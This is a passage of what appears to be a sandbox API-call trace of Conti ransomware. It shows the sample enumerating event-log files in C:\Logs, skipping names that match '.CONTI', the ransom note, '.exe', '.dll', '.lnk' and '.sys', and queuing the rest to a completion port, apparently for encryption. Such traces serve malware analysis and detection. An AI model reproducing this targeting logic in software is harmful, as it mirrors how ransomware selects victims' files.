	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch=".sys") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch=".CONTI") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.309] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.309] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48
	[0095.309] GetProcessHeap () returned 0x1720000
	[0095.309] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17d07c8
	[0095.309] lstrcpyW (in: lpString1=0x17d07c8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.309] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.309] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-PnP%4Configuration.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx"
	[0095.309] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4330) returned 1
	[0095.309] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1
	[0095.309] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpString2=".") returned 1
	[0095.309] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpString2="..") returned 1
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.309] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.309] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56
	[0095.309] GetProcessHeap () returned 0x1720000
	[0095.310] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17d0848
	[0095.310] lstrcpyW (in: lpString1=0x17d0848, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.310] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.310] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx"
	[0095.310] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c4c50) returned 1
	[0095.310] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1
	[0095.310] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpString2=".") returned 1
	[0095.310] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpString2="..") returned 1
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.310] StrStrIW (lpFirst="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.310] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.310] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53
	[0095.310] GetProcessHeap () returned 0x1720000
	[0095.310] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176bdf8
	[0095.310] lstrcpyW (in: lpString1=0x176bdf8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.310] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.310] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx"
	[0095.310] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c50e0) returned 1
	[0095.310] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1
	[0095.416] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpString2=".") returned 1
	[0095.416] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpString2="..") returned 1
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.416] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.416] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51
	[0095.416] GetProcessHeap () returned 0x1720000
	[0095.416] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17c6c78
	[0095.416] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.416] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.416] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx"
	[0095.416] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5410) returned 1
	[0095.416] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1
	[0095.416] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpString2=".") returned 1
	[0095.416] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpString2="..") returned 1
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch=".CONTI") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch=".exe") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch=".dll") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch=".lnk") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch=".sys") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch=".CONTI") returned 0x0
	[0095.416] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.416] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.417] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42
	[0095.417] GetProcessHeap () returned 0x1720000
	[0095.417] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1741300
	[0095.417] lstrcpyW (in: lpString1=0x1741300, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.417] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.417] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-WHEA%4Errors.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx"
	[0095.417] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d6f98) returned 1
	[0095.417] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1
	[0095.417] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpString2=".") returned 1
	[0095.417] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpString2="..") returned 1
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.417] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.417] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47
	[0095.417] GetProcessHeap () returned 0x1720000
	[0095.417] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740a78
	[0095.417] lstrcpyW (in: lpString1=0x1740a78, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.417] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.417] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-WHEA%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx"
	[0095.417] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d7670) returned 1
	[0095.417] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1
	[0095.417] lstrcmpiW (lpString1="Microsoft-Windows-Known Folders API Service.evtx", lpString2=".") returned 1
	[0095.417] lstrcmpiW (lpString1="Microsoft-Windows-Known Folders API Service.evtx", lpString2="..") returned 1
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch=".CONTI") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.417] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch=".exe") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch=".dll") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch=".lnk") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch=".sys") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch=".CONTI") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-Known Folders API Service.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.418] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.418] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48
	[0095.418] GetProcessHeap () returned 0x1720000
	[0095.418] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x72) returned 0x17c3a00
	[0095.418] lstrcpyW (in: lpString1=0x17c3a00, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.418] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.418] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Known Folders API Service.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx"
	[0095.418] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d9660) returned 1
	[0095.418] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1
	[0095.418] lstrcmpiW (lpString1="Microsoft-Windows-LiveId%4Operational.evtx", lpString2=".") returned 1
	[0095.418] lstrcmpiW (lpString1="Microsoft-Windows-LiveId%4Operational.evtx", lpString2="..") returned 1
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.418] StrStrIW (lpFirst="Microsoft-Windows-LiveId%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.418] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.418] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42
	[0095.418] GetProcessHeap () returned 0x1720000
	[0095.418] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1740ce0
	[0095.418] lstrcpyW (in: lpString1=0x1740ce0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.418] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.418] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-LiveId%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx"
	[0095.418] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d81d8) returned 1
	[0095.419] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1
	[0095.419] lstrcmpiW (lpString1="Microsoft-Windows-MUI%4Admin.evtx", lpString2=".") returned 1
	[0095.419] lstrcmpiW (lpString1="Microsoft-Windows-MUI%4Admin.evtx", lpString2="..") returned 1
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.419] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.419] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33
	[0095.419] GetProcessHeap () returned 0x1720000
	[0095.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x54) returned 0x17c0f68
	[0095.419] lstrcpyW (in: lpString1=0x17c0f68, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.419] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.419] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-MUI%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx"
	[0095.419] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d7d48) returned 1
	[0095.419] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1
	[0095.419] lstrcmpiW (lpString1="Microsoft-Windows-MUI%4Operational.evtx", lpString2=".") returned 1
	[0095.419] lstrcmpiW (lpString1="Microsoft-Windows-MUI%4Operational.evtx", lpString2="..") returned 1
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.419] StrStrIW (lpFirst="Microsoft-Windows-MUI%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.419] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.419] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39
	[0095.419] GetProcessHeap () returned 0x1720000
	[0095.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0b90
	[0095.420] lstrcpyW (in: lpString1=0x17c0b90, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.420] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.420] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-MUI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx"
	[0095.420] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d8d40) returned 1
